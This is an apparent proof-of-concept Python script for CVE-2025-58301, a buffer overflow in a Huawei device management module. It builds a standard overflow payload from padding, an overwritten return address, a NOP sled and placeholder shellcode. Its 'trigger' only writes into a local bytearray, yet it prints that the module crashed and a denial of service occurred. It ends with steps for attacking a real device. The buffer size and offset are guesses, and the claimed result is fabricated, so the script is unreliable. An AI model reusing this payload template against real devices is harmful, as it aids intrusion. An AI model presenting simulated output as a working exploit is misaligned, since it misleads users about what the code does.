CVE-2025-58301：华为设备管理模块缓冲区溢出漏洞

# CVE-2025-58301 - Huawei Device Management Module Buffer Overflow PoC # Note: This is a conceptual PoC demonstrating the buffer overflow principle # Actual exploitation requires local access to the target Huawei device import struct import sys # Target buffer size in the device management module # The exact size may vary depending on the specific Huawei product and firmware version BUFFER_SIZE = 256 # Estimated buffer size for demonstration # Offset to overwrite return address (estimated) OFFSET = BUFFER_SIZE + 8 # Buffer + saved EBP/RBP def generate_payload(): """Generate buffer overflow payload targeting the device management module.""" # Step 1: Fill the buffer with padding data padding = b"A" * BUFFER_SIZE # Step 2: Overwrite saved frame pointer saved_fp = struct.pack("<Q", 0x4242424242424242) # Step 3: Overwrite return address # In a real exploit, this would point to shellcode or a ROP gadget # For DoS demonstration, we can point to an invalid address to cause a crash ret_address = struct.pack("<Q", 0xDEADBEEFDEADBEEF) # Step 4: Additional payload data (NOP sled + shellcode placeholder) nop_sled = b"\x90" * 32 shellcode_placeholder = b"\xCC" * 64 # INT3 breakpoints for testing payload = padding + saved_fp + ret_address + nop_sled + shellcode_placeholder return payload def trigger_vulnerability(payload): """ Simulate triggering the vulnerability via the device management module interface. In a real scenario, this would involve calling the actual system API or sending data through the device management interface. """ print(f"[*] Payload size: {len(payload)} bytes") print(f"[*] Buffer size: {BUFFER_SIZE} bytes") print(f"[*] Overflow: {len(payload) - BUFFER_SIZE} bytes beyond buffer") # Simulate writing to the vulnerable buffer try: # In real exploitation, this would be a call to the vulnerable function # e.g., via ioctl, system call, or direct API invocation vulnerable_buffer = bytearray(BUFFER_SIZE) vulnerable_buffer[:len(payload)] = payload[:BUFFER_SIZE] # The overflow would corrupt adjacent memory in the actual exploit print("[!] Buffer overflow triggered - device management module crashed") print("[!] Result: Denial of Service (Availability Impact: HIGH)") except Exception as e: print(f"[*] Exception caught: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-58301 PoC - Buffer Overflow in Device Management") print("Affected: Huawei Consumer Devices") print("Severity: MEDIUM (CVSS 6.2)") print("Impact: Availability (DoS)") print("=" * 60) payload = generate_payload() trigger_vulnerability(payload) print("\n[*] To exploit on actual device:") print(" 1. Obtain local access to the target Huawei device") print(" 2. Identify the vulnerable device management module API") print(" 3. Send crafted payload via the vulnerable interface") print(" 4. Observe device crash or service unavailability")